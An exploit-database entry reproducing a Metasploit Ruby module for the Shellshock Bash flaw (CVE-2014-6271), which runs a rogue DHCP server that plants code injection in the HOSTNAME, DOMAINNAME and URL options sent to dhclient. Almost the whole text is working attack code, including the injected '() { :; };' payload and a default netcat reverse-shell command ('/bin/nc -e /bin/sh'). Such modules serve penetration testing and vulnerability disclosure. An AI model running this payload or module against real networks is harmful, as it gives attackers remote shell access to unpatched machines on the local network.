DHCP Client Bash Environment Variable Code Injection Exploit

2014-09-26T00:00:00
ID 1337DAY-ID-22699
Type zdt
Reporter metasploit
Modified 2014-09-26T00:00:00

Description

This Metasploit module exploits a code injection in specially crafted environment variables in Bash, specifically targeting dhclient network configuration scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.

                                        
                                            ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/proto/dhcp'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::DHCPServer

  def initialize
    super(
      'Name'        => 'DHCP Client Bash Environment Variable Code Injection',
      'Description'    => %q{
        This module exploits a code injection in specially crafted environment
        variables in Bash, specifically targeting dhclient network configuration
        scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
      },
      'Author'      =>
        [
          'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
          'Stephane Chazelas', # Vulnerability discovery
          'Ramon de C Valle' # This module
        ],
      'License' => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'Service' ]
        ],
      'PassiveActions' =>
        [
          'Service'
        ],
      'DefaultAction'  => 'Service',
      'References' => [
        ['CVE', '2014-6271'],
        ['CWE', '94'],
        ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
        ['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
        ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]
      ],
      'DisclosureDate' => 'Sep 24 2014'
    )

    register_options(
      [
        OptString.new('SRVHOST',     [ true, 'The IP of the DHCP server' ]),
        OptString.new('NETMASK',     [ true, 'The netmask of the local subnet' ]),
        OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
        OptString.new('DHCPIPEND',   [ false, 'The last IP to give out' ]),
        OptString.new('ROUTER',      [ false, 'The router IP address' ]),
        OptString.new('BROADCAST',   [ false, 'The broadcast address to send to' ]),
        OptString.new('DNSSERVER',   [ false, 'The DNS server IP address' ]),
        # OptString.new('HOSTNAME',    [ false, 'The optional hostname to assign' ]),
        OptString.new('HOSTSTART',   [ false, 'The optional host integer counter' ]),
        OptString.new('FILENAME',    [ false, 'The optional filename of a tftp boot server' ]),
        OptString.new('CMD',         [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
      ], self.class)
  end

  def run
    value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"

    # This loop is required because the current DHCP Server exits after the
    # first interaction.
    loop do
      begin
        start_service({
          'HOSTNAME' => value,
          'DOMAINNAME' => value,
          'URL' => value
        }.merge(datastore))

        while dhcp.thread.alive?
          select(nil, nil, nil, 2)
        end

      rescue Interrupt
        break

      ensure
        stop_service
      end
    end
  end

end

#  0day.today [2018-03-14]  #